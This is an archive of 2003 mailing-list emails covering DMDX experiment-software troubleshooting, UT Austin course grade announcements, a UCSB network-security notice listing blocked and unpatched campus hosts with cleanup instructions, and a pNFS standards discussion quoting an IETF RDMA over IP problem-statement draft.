>the quotes I am still getting the same error. > >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Jonathan C. >Forster >Sent: Wednesday, December 10, 2003 6:02 PM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: Error: no media FILE NAME > > > You need quotes around names in DMDX: > >-901 /* ""Left_Left"" /; > >At 03:16 PM 12/10/2003 -0600, you wrote: > > >Hello. > > > > > > > >I am new to using DMDX and I am having problems recovering from the > >following error I receive when I try to run my RTF. The error I receive >is > >no media FILE NAME . The images are in the same directory as the RTF. > > > > > > > >Here is the first part of my RTF file: > > > > > > > > >255255255> > > > > > > > >-901 /* Left_Left /; > > > > > > > >+902 /* Right_Left /; > > > > > > > >-903 /* Left_Right /; > > > > > > > >+904 /* Right_Right /; > > > > > > > >$ > > > >0 You are now finished the practice trials. , > > > > When you are ready to begin BLOCK 1 press the SPACE >BAR ; > > > >$ > > > > > > > >-1 /* Left_Left /; > > > > > > > >+2 /* Right_Left /; > > > > > > > >-3 /* Left_Right /; > > > > > > > >+4 /* Right_Right /; > > > > > > > >-5 /* Left_Left /; > > > > > > > > > > > >---------------------------------------------- > > > >Jason Laberge, MSc > > > >Research Fellow > > > >HumanFIRST Program, ITS Institute > > > >Department of Mechanical Engineering > > > >111 Church Street SE > > > >Minneapolis, MN 55455 > > > >Direct: 612-624-2877 > > > >Fax: 612-624-8930 > > > >Email: jasonl@me.umn.edu. > > > >Web: www.menet.umn.edu/~jasonl > > > > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >We can defeat gravity. The problem is the paperwork involved. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ We can defeat gravity. The problem is the paperwork involved.",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Fri, 12 Dec 2003 18:13:53 -0600",grades," CS352h-ers, We have finished grading the projects and the exams. The final exam median was 111/152. The high score was 142 and the low score was 45. On the projects, we ran a battery of tests on the code you submitted, in addition to reading your reports and looking at the code. Five teams submitted code that passed all of the tests - Congrats! The scores on the final project were based loosely on how well your code did on the tests. Grades ranged from 75 (poorly on tests) to 100 (all tests passed). Most people fell into the 90-100 range. I'm pleased you all did so well - I know it was a challenging project. I hope you learned a lot (not just about pipelining, but also about debugging and complexity management). On Tuesday, you may come by Gem's office to pick up your graded final project papers and the exam solutions. You may look at the graded exams, but you may not keep them. I will retain them for my records. In the meantime, I have posted your final grades on the on-line egradebook which should be accessible via UT-Direct. Best wishes and Happy Holidays. I'm sure I will see all of you soon. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 mfific ,DMDX@psy1.psych.arizona.edu,"Sun, 14 Dec 2003 22:33:22 -0500",[DMDX] no support for page flipping!?,"DMDX has been working fine on my machine until just recently. (Pentium, AMD 1700 machine, NVidia Gforce4 integrated card...) Then I got report: Directx reports no support for page flipping! The video card in this machine is not adequate for DMDX purposes. (which is not true because It has been working properly for long time.) Noting works: I simple could not select video mode, and do all settings. I tried all things I knew that could cure: reinstall video drivers, new directx (8.2, 8.1), reinstall DMDX (3.0.2.08), in all possible combinations but still same error message. I would appreciate any suggestion. Thanks, Mario Fific ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Dec 2003 08:46:37 -0700",[DMDX] Re: no support for page flipping!?,"At 10:33 PM 12/14/2003 -0500, you wrote: >DMDX has been working fine on my machine until just recently. (Pentium, >AMD 1700 machine, NVidia Gforce4 integrated card...) > >Then I got report: Directx reports no support for page flipping! The >video card in this machine is not adequate for DMDX purposes. >(which is not true because It has been working properly for long time.) > >Noting works: I simple could not select video mode, and do all settings. > >I tried all things I knew that could cure: reinstall video drivers, new >directx (8.2, 8.1), reinstall DMDX (3.0.2.08), in all possible >combinations but still same error message. > >I would appreciate any suggestion. Try another video card, they can fail. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Remembering is for those who have forgotten. ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id KAA01458 for ; Mon, 15 Dec 2003 10:41:20 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id KAA02947 for ; Mon, 15 Dec 2003 10:41:20 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AVxeh-000K8D-AO; Mon, 15 Dec 2003 10:41:19 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AVxdg-000K75-Go; Mon, 15 Dec 2003 10:40:16 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=[192.168.1.100]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1AVxdf-000K6y-G2; Mon, 15 Dec 2003 10:40:15 -0800 Date: Mon, 15 Dec 2003 10:40:12 -0800 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <523210000.1071513612@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.txt) *** 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.60.6 sunfire.ece.ucsb.edu 128.111.68.248 -- 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 -- 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 -- 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 -- 128.111.161.6 -- 128.111.164.209 turtle.mee.ucsb.edu 128.111.185.230 ra.ece.ucsb.edu 128.111.221.52 dhcp17.mat.ucsb.edu 128.111.225.113 -- 128.111.229.220 -- 128.111.229.229 -- 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- *** Unpatched hosts *** 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.77 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 42 RPCSS Vulnerable ............................. 7 DCOM Disabled ................................ 46 Not Vulnerable ............................... 1561 Errors ....................................... 17 TCP Port 135 Closed or Host Timeout .......... 63905 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 15 Dec 2003 13:43:42 -0600",projects," CS352H-ers, I wanted to remind you that you can pick up your graded projects tomorrow in Gem's office. Attached to your graded project is a sheet that shows which of our battery of tests your project passed and which it failed. The tests themselves are now available at: http://www.cs.utexas.edu/users/skeckler/cs352h/homework/project_grading_tests.html Project grading was based on your write-up, how your assignment performed on the tests, and an assessment of your approach and implementation. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"by m7.grp.scd.yahoo.com with QMQP; 16 Dec 2003 07:01:00 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta1.grp.scd.yahoo.com with SMTP; 16 Dec 2003 07:00:59 -0000 Received: from yang ([172.17.19.46]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1CV6; Tue, 16 Dec 2003 02:00:52 -0500 To: Date: Tue, 16 Dec 2003 02:01:20 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0002_01C3C378.7FB8B890"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-eGroups-Remote-IP: 65.194.124.178 From: ""Benny Halevy"" Subject: FW: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Wednesday, December 10, 2003 22:27 To: Craig Everhart; John Muth; Brian Pawlowski; David Pease; Julian Satran; Spencer Shepler; Gary Grider; Brent Welch; Benny Halevy; Jon Haswell; Dean Hildebrand; Peter Honeyman; Jim Carlson; Garth Gibson; Andy Adamson; Tyce McLarty; Peter Corbett; David Black Cc: Garth Gibson Subject: NEPS-REQS: getting started So we are the requirements/problem statement subgroup of the NFS extension for parallel storage effort. Our job is to create the paper trail justification for adding something to NFS and provide a conceptual framework by which to identify possible solutions. In the beginning this document is used to justify in the IETF process that there are problems that people take seriously that cannot be handled well in the scope of NFS today and that should be. I asked around for examples to help us construct this document and I was pointed at the problem statement used to start the RDMA over IP effort (attached below). I was told that this was a particularly well done problem statement, and that we should not necessarily work this hard before giving the IETF something to look at. ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-ietf-rddp- problem-statement-02.txt RDDP Abstract: This draft addresses an IP-based solution to the problem of high system costs due to network I/O copying in end-hosts at high speeds. The problem is due to the high cost of memory bandwidth, and it can be substantially improved using ""copy avoidance."" The high overhead has limited the use of TCP/IP in interconnection networks especially where high bandwidth, low latency and/or low overhead of end-system data movement are required by the hosted application. So I suppose we could start with pNFS Abstract: This draft addresses an NFS-based solution to the problem of high system costs due to store-and-forward copying of storage data from storage devices through a file server mount point to high-speed end-hosts that also have connectivity to source storage devices. The problem is due to the high cost of funneling large storage bandwidths through NFS on single IP addresses, and it can be substantially improved using ""out-of-band access."" The high cost of high-bandwidth NFS servers has limited the use of NFS in data centers especially where high storage bandwidths are required and numerous storage serving devices are already networked together. A pNFS table of contents might be: 1. Introduction 2. The high cost of high bandwidth storage through NFS 2.1 Out-of-band access decreases bandwidth requirements in central file servers 3. Application level routing of storage data packets is the root cause of the problem 4. Storage bandwidth bottlenecks are problematic for many key file system applications 5. Out-of-band access techniques 5.1 A conceptual framework: pNFS delegated maps for distributing files over SBC, OSD and NFS storage subsystems 6. Security considerations 7. Acknowledgements 8. Informative references Please have a look at the RDDP problem statement draft and comment on my simplistic strategy of monkey-see-monkey-do :-) garth Begin forwarded message: > From: Garth Gibson > Date: Wed Dec 10, 2003 9:34:58 PM Canada/Eastern > To: Andy Adamson , David Black > , Don Cameron , Jim > Carlson , Peter Corbett , Craig > Everhart , Steve Fridella > , Garth Gibson , > Gary Grider , Benny Halevy , > Jon Haswell , Dean Hildebrand > , Peter Honeyman , > Xiaoye Jiang , Mike Kazar , > Tyce McLarty , John Muth , > Dave Noveck , Brian Pawlowski > , David Pease , > Julian Satran , Spencer Shepler > , Brent Welch > Subject: NFS Extensions for Parallel Storage, subgroup membership > > Folks, > > Thanks for a great workshop last Thursday! > > Materials presented that day are online: > http://www.citi.umich.edu/NEPS/agenda.html > > Below are the workshop followup subgroup memberships as they are now. > I think I heard Peter say that he would construct auto-managed email > lists, which from the additions I've received this week, I have > already decided would be great. Please Peter! Names like neps-all, > neps-reqs, neps-ops, neps-sbc, neps-osd, neps-nfs would be great. > > Our goals, to reprise, are to sketch a set of requirements for NFS > Extensions for Parallel Storage, or pNFS extensions, sketch a set of > NFS operation extensions (possibly including alternatives), sketch a > set of metadata definitions (possibly including alternatives) for > out-of-band data access over fixed block (SBC) SCSI protocols, object > (OSD) SCSI protocols and file (NFS) ONCRPC protocols. > > We want to do this quickly, over the next few months, and to take it > into the IETF NFS process as a set of suggestions and strawman > protocols. The current plan is that at that point those of us that > follow through with this will to it in the IETF NFS working group. In > order to convince the IETF and the NFS working group that we have > important, useful and viable ideas, we are taking a little time to > pull together starting material. > > The timelines discussed at the end of the workshop ""heir of the dog"" > session were: > - get workshop notes put together and out in December (Peter and Garth) > - 0th draft of a requirements/problem statement internet draft by mid > January > - IETF submission of an internet draft by first week of Feb, so it can > be part of the March IETF meeting and used as evidence for inclusion > of extensions for parallel storage into the NFS working group charter > - one or more documents (not necessarily fully agreeing) from each > subgroup into the IETF NFS email discussion for early to mid March > - a face-to-face followup workshop, open to the IETF NFS group at the > FAST 2004 conference, in San Francisco Mar 31 - Apr 2, at which all > further plans are proposed, argued and ratified (e.g. shall we be > absorbed into the IETF NFS group) > > To help move this along, we have asked one person in each subgroup to > push, prod and pull ideas and words out of us. Please help these > sacrificial volunteers with by contributing text, criticizing > constructively with alternative text, and finding the time to read > materials. > > These are volunteers in an unofficial process. We have no rules to be > applied by arbitration, no membership to take votes from. If this > consensus process, or these people, are not working out, then I > suggest grass roots alternatives be suggested and explored as a group. > Lets not get bogged down in process this early :-) > > But there are always going to be logistical and procedural issues that > we need to deal with as a group. The suggestion at the workshop was > that these multi-subgroup issues be taken into the requirements group. > For example, I suggest that ""scope"" issues -- what we include and > what we exclude from our agenda -- be dealt with in the requirements > group, where we would need to add/delete requirements for each > distinct aspect of our scope. > > I'm sure I'm way over the line giving this much direction :-) so I'll > leave it to the subgroups to decide mechanisms for progress. For > example, weekly conference calls, document exchange formats, > editorship delegation and/or rotation, agreement achieving processes, > .... > > And with that I'll go off and get to work on suggesting what our > problem statement needs to say. > > garth > 412-805-9878 (cell) > > ------------------------------------------------------- > > pNFS requirements: Garth Gibson > ----------------- > Andy Adamson > David Black > Jim Carlson > Peter Corbett > Craig Everhart > Garth Gibson > Gary Grider > Benny Halevy > Jon Haswell > Dean Hildebrand > Peter Honeyman > Tyce McLarty > John Muth > Brian Pawlowski > David Pease > Julian Satran > Spencer Shepler > Brent Welch Allyn Romanow (Cisco) Internet-Draft Jeff Mogul (HP) Expires: December 2003 Tom Talpey (NetApp) Stephen Bailey (Sandburst) RDMA over IP Problem Statement draft-ietf-rddp-problem-statement-02 Status of this Memo This document is an Internet-Draft and is in full conformance with all provisions of Section 10 of RFC2026. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF), its areas, and its working groups. Note that other groups may also distribute working documents as Internet- Drafts. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as ""work in progress."" The list of current Internet-Drafts can be accessed at http://www.ietf.org/ietf/1id-abstracts.txt The list of Internet-Draft Shadow Directories can be accessed at http://www.ietf.org/shadow.html. Copyright Notice Copyright (C) The Internet Society (2003). All Rights Reserved. Abstract This draft addresses an IP-based solution to the problem of high system costs due to network I/O copying in end-hosts at high speeds. The problem is due to the high cost of memory bandwidth, and it can be substantially improved using ""copy avoidance."" The high overhead has limited the use of TCP/IP in interconnection networks especially where high bandwidth, low latency and/or low overhead of end-system data movement are required by the hosted application. Romanow, et al Expires December 2003 [Page 1] Internet-Draft RDMA Over IP Problem Statement June 2003 Table Of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . 2 2. The high cost of data movement operations in network I/O . 3 2.1. Copy avoidance improves processing overhead . . . . . . . 5 3. Memory bandwidth is the root cause of the problem . . . . 6 4. High copy overhead is problematic for many key Internet applications . . . . . . . . . . . . . . . . . . . . . . . 7 5. Copy Avoidance Techniques . . . . . . . . . . . . . . . . 9 5.1. A Conceptual Framework: DDP and RDMA . . . . . . . . . . . 11 6. Security Considerations . . . . . . . . . . . . . . . . . 11 7. Acknowledgements . . . . . . . . . . . . . . . . . . . . . 12 Informative References . . . . . . . . . . . . . . . . . . 12 Authors' Addresses . . . . . . . . . . . . . . . . . . . . 17 Full Copyright Statement . . . . . . . . . . . . . . . . . 18 1. Introduction This draft considers the problem of high host processing overhead associated with network I/O that occurs under high speed conditions. This problem is often referred to as the ""I/O bottleneck"" [CT90]. More specifically, the source of high overhead that is of interest here is data movement operations - copying. This issue is not be confused with TCP offload, which is not addressed here. High speed refers to conditions where the network link speed is high relative to the bandwidths of the host CPU and memory. With today's computer systems, one Gbits/s and over is considered high speed. High costs associated with copying are an issue primarily for large scale systems. Although smaller systems such as rack-mounted PCs and small workstations would benefit from a reduction in copying overhead, the benefit to smaller machines will be primarily in the next few years as they scale in the amount of bandwidth they handle. Today it is large system machines with high bandwidth feeds, usually multiprocessors and clusters, that are adversely affected by copying overhead. Examples of such machines include all varieties of servers: database servers, storage servers, application servers for transaction processing, for e-commerce, and web serving, content distribution, video distribution, backups, data mining and decision support, and scientific computing. Note that such servers almost exclusively service many concurrent sessions (transport connections), which, in aggregate, are responsible for > 1 Gbits/s of communication. Nonetheless, the cost of copying overhead for a particular load is the same whether from few or many sessions. Romanow, et al Expires December 2003 [Page 2] Internet-Draft RDMA Over IP Problem Statement June 2003 The I/O bottleneck, and the role of data movement operations, have been widely studied in research and industry over the last approximately 14 years, and we draw freely on these results. Historically, the I/O bottleneck has received attention whenever new networking technology has substantially increased line rates - 100 Mbits/s FDDI and Fast Ethernet, 155 Mbits/s ATM, 1 Gbits/s Ethernet. In earlier speed transitions, the availability of memory bandwidth allowed the I/O bottleneck issue to be deferred. Now however, this is no longer the case. While the I/O problem is significant at 1 Gbits/s, it is the introduction of 10 Gbits/s Ethernet which is motivating an upsurge of activity in industry and research [DAFS, IB, VI, CGZ01, Ma02, MAF+02]. Because of high overhead of end-host processing in current implementations, the TCP/IP protocol stack is not used for high speed transfer. Instead, special purpose network fabrics, using a technology generally known as remote direct memory access (RDMA), have been developed and are widely used. RDMA is a set of mechanisms that allow the network adapter, under control of the application, to steer data directly into and out of application buffers. Examples of such interconnection fabrics include Fibre Channel [FIBRE] for block storage transfer, Virtual Interface Architecture [VI] for database clusters, Infiniband [IB], Compaq Servernet [SRVNET], Quadrics [QUAD] for System Area Networks. These link level technologies limit application scaling in both distance and size, meaning that the number of nodes cannot be arbitrarily large. This problem statement substantiates the claim that in network I/O processing, high overhead results from data movement operations, specifically copying; and that copy avoidance significantly decreases the processing overhead. It describes when and why the high processing overheads occur, explains why the overhead is problematic, and points out which applications are most affected. In addition, this document introduces an architectural approach to solving the problem, which is developed in detail in [BT02]. It also discusses how the proposed technology may introduce security concerns and how they should be addressed. 2. The high cost of data movement operations in network I/O A wealth of data from research and industry shows that copying is responsible for substantial amounts of processing overhead. It further shows that even in carefully implemented systems, eliminating copies significantly reduces the overhead, as referenced below. Romanow, et al Expires December 2003 [Page 3] Internet-Draft RDMA Over IP Problem Statement June 2003 Clark et al. [CJRS89] in 1989 shows that TCP [Po81] overhead processing is attributable to both operating system costs such as interrupts, context switches, process management, buffer management, timer management, and to the costs associated with processing individual bytes, specifically computing the checksum and moving data in memory. They found moving data in memory is the more important of the costs, and their experiments show that memory bandwidth is the greatest source of limitation. In the data presented [CJRS89], 64% of the measured microsecond overhead was attributable to data touching operations, and 48% was accounted for by copying. The system measured Berkeley TCP on a Sun-3/60 using 1460 Byte Ethernet packets. In a well-implemented system, copying can occur between the network interface and the kernel, and between the kernel and application buffers - two copies, each of which are two memory bus crossings - for read and write. Although in certain circumstances it is possible to do better, usually two copies are required on receive. Subsequent work has consistently shown the same phenomenon as the earlier Clark study. A number of studies report results that data- touching operations, checksumming and data movement, dominate the processing costs for messages longer than 128 Bytes [BS96, CGY01, Ch96, CJRS89, DAPP93, KP96]. For smaller sized messages, per- packet overheads dominate [KP96, CGY01]. The percentage of overhead due to data-touching operations increases with packet size, since time spent on per-byte operations scales linearly with message size [KP96]. For example, Chu [Ch96] reported substantial per-byte latency costs as a percentage of total networking software costs for an MTU size packet on SPARCstation/20 running memory-to-memory TCP tests over networks with 3 different MTU sizes. The percentage of total software costs attributable to per-byte operations were: 1500 Byte Ethernet 18-25% 4352 Byte FDDI 35-50% 9180 Byte ATM 55-65% Although many studies report results for data-touching operations including checksumming and data movement together, much work has focused just on copying [BS96, B99, Ch96, TK95]. For example, [KP96] reports results that separate processing times for checksum from data movement operations. For the 1500 Byte Ethernet size, 20% of total processing overhead time is attributable to copying. The study used 2 DECstations 5000/200 connected by an FDDI network. (In this study checksum accounts for 30% of the processing time.) Romanow, et al Expires December 2003 [Page 4] Internet-Draft RDMA Over IP Problem Statement June 2003 2.1. Copy avoidance improves processing overhead A number of studies show that eliminating copies substantially reduces overhead. For example, results from copy-avoidance in the IO-Lite system [PDZ99], which aimed at improving web server performance, show a throughput increase of 43% over an optimized web server, and 137% improvement over an Apache server. The system was implemented in a 4.4BSD derived UNIX kernel, and the experiments used a server system based on a 333MHz Pentium II PC connected to a switched 100 Mbits/s Fast Ethernet. There are many other examples where elimination of copying using a variety of different approaches showed significant improvement in system performance [CFF+94, DP93, EBBV95, KSZ95, TK95, Wa97]. We will discuss the results of one of these studies in detail in order to clarify the significant degree of improvement produced by copy avoidance [Ch02]. Recent work by Chase et al. [CGY01], measuring CPU utilization, shows that avoiding copies reduces CPU time spent on data access from 24% to 15% at 370 Mbits/s for a 32 KBytes MTU using an AlphaStation XP1000 and a Myrinet adapter [BCF+95]. This is an absolute improvement of 9% due to copy avoidance. The total CPU utilization was 35%, with data access accounting for 24%. Thus the relative importance of reducing copies is 26%. At 370 Mbits/s, the system is not very heavily loaded. The relative improvement in achievable bandwidth is 34%. This is the improvement we would see if copy avoidance were added when the machine was saturated by network I/O. Note that improvement from the optimization becomes more important if the overhead it targets is a larger share of the total cost. This is what happens if other sources of overhead, such as checksumming, are eliminated. In [CGY01], after removing checksum overhead, copy avoidance reduces CPU utilization from 26% to 10%. This is a 16% absolute reduction, a 61% relative reduction, and a 160% relative improvement in achievable bandwidth. In fact, today's network interface hardware commonly offloads the checksum, which removes the other source of per-byte overhead. They also coalesce interrupts to reduce per-packet costs. Thus, today copying costs account for a relatively larger part of CPU utilization than previously, and therefore relatively more benefit is to be gained in reducing them. (Of course this argument would be specious if the amount of overhead were insignificant, but it has been shown to be substantial.) Romanow, et al Expires December 2003 [Page 5] Internet-Draft RDMA Over IP Problem Statement June 2003 3. Memory bandwidth is the root cause of the problem Data movement operations are expensive because memory bandwidth is scarce relative to network bandwidth and CPU bandwidth [PAC+97]. This trend existed in the past and is expected to continue into the future [HP97, STREAM], especially in large multiprocessor systems. With copies crossing the bus twice per copy, network processing overhead is high whenever network bandwidth is large in comparison to CPU and memory bandwidths. Generally with today's end-systems, the effects are observable at network speeds over 1 Gbits/s. A common question is whether increase in CPU processing power alleviates the problem of high processing costs of network I/O. The answer is no, it is the memory bandwidth that is the issue. Faster CPUs do not help if the CPU spends most of its time waiting for memory [CGY01]. The widening gap between microprocessor performance and memory performance has long been a widely recognized and well-understood problem [PAC+97]. Hennessy [HP97] shows microprocessor performance grew from 1980-1998 at 60% per year, while the access time to DRAM improved at 10% per year, giving rise to an increasing ""processor- memory performance gap"". Another source of relevant data is the STREAM Benchmark Reference Information website which provides information on the STREAM benchmark [STREAM]. The benchmark is a simple synthetic benchmark program that measures sustainable memory bandwidth (in MBytes/s) and the corresponding computation rate for simple vector kernels measured in MFLOPS. The website tracks information on sustainable memory bandwidth for hundreds of machines and all major vendors. Results show measured system performance statistics. Processing performance from 1985-2001 increased at 50% per year on average, and sustainable memory bandwidth from 1975 to 2001 increased at 35% per year on average over all the systems measured. A similar 15% per year lead of processing bandwidth over memory bandwidth shows up in another statistic, machine balance [Mc95], a measure of the relative rate of CPU to memory bandwidth (FLOPS/cycle) / (sustained memory ops/cycle) [STREAM]. Network bandwidth has been increasing about 10-fold roughly every 8 years, which is a 40% per year growth rate. A typical example illustrates that the memory bandwidth compares unfavorably with link speed. The STREAM benchmark shows that a modern uniprocessor PC, for example the 1.2 GHz Athlon in 2001, Romanow, et al Expires December 2003 [Page 6] Internet-Draft RDMA Over IP Problem Statement June 2003 will move the data 3 times in doing a receive operation - 1 for the network interface to deposit the data in memory, and 2 for the CPU to copy the data. With 1 GBytes/s of memory bandwidth, meaning one read or one write, the machine could handle approximately 2.67 Gbits/s of network bandwidth, one third the copy bandwidth. But this assumes 100% utilization, which is not possible, and more importantly the machine would be totally consumed! (A rule of thumb for databases is that 20% of the machine should be required to service I/O, leaving 80% for the database application. And, the less the better.) In 2001, 1 Gbits/s links were common. An application server may typically have two 1 Gbits/s connections - one connection backend to a storage server and one front-end, say for serving HTTP [FGM+99]. Thus the communications could use 2 Gbits/s. In our typical example, the machine could handle 2.7 Gbits/s at its theoretical maximum while doing nothing else. This means that the machine basically could not keep up with the communication demands in 2001, with the relative growth trends the situation only gets worse. 4. High copy overhead is problematic for many key Internet applications If a significant portion of resources on an application machine is consumed in network I/O rather than in application processing, it makes it difficult for the application to scale - to handle more clients, to offer more services. Several years ago the most affected applications were streaming multimedia, parallel file systems and supercomputing on clusters [BS96]. In addition, today the applications that suffer from copying overhead are more central in Internet computing - they store, manage, and distribute the information of the Internet and the enterprise. They include database applications doing transaction processing, e-commerce, web serving, decision support, content distribution, video distribution, and backups. Clusters are typically used for this category of application, since they have advantages of availability and scalability. Today these applications, which provide and manage Internet and corporate information, are typically run in data centers that are organized into three logical tiers. One tier is typically a set of web servers connecting to the WAN. The second tier is a set of application servers that run the specific applications usually on more powerful machines, and the third tier is backend databases. Physically, the first two tiers - web server and application server - are usually combined [Pi01]. For example an e-commerce server communicates with a database server and with a customer site, or a Romanow, et al Expires December 2003 [Page 7] Internet-Draft RDMA Over IP Problem Statement June 2003 content distribution server connects to a server farm, or an OLTP server connects to a database and a customer site. When network I/O uses too much memory bandwidth, performance on network paths between tiers can suffer. (There might also be performance issues on SAN paths used either by the database tier or the application tier.) The high overhead from network-related memory copies diverts system resources from other application processing. It also can create bottlenecks that limit total system performance. There are a large and growing number of these application servers distributed throughout the Internet. In 1999 approximately 3.4 million server units were shipped, in 2000, 3.9 million units, and the estimated annual growth rate for 2000-2004 was 17 percent [Ne00, Pa01]. There is high motivation to maximize the processing capacity of each CPU, as scaling by adding CPUs one way or another has drawbacks. For example, adding CPUs to a multiprocessor will not necessarily help, as a multiprocessor improves performance only when the memory bus has additional bandwidth to spare. Clustering can add additional complexity to handling the applications. In order to scale a cluster or multiprocessor system, one must proportionately scale the interconnect bandwidth. Interconnect bandwidth governs the performance of communication-intensive 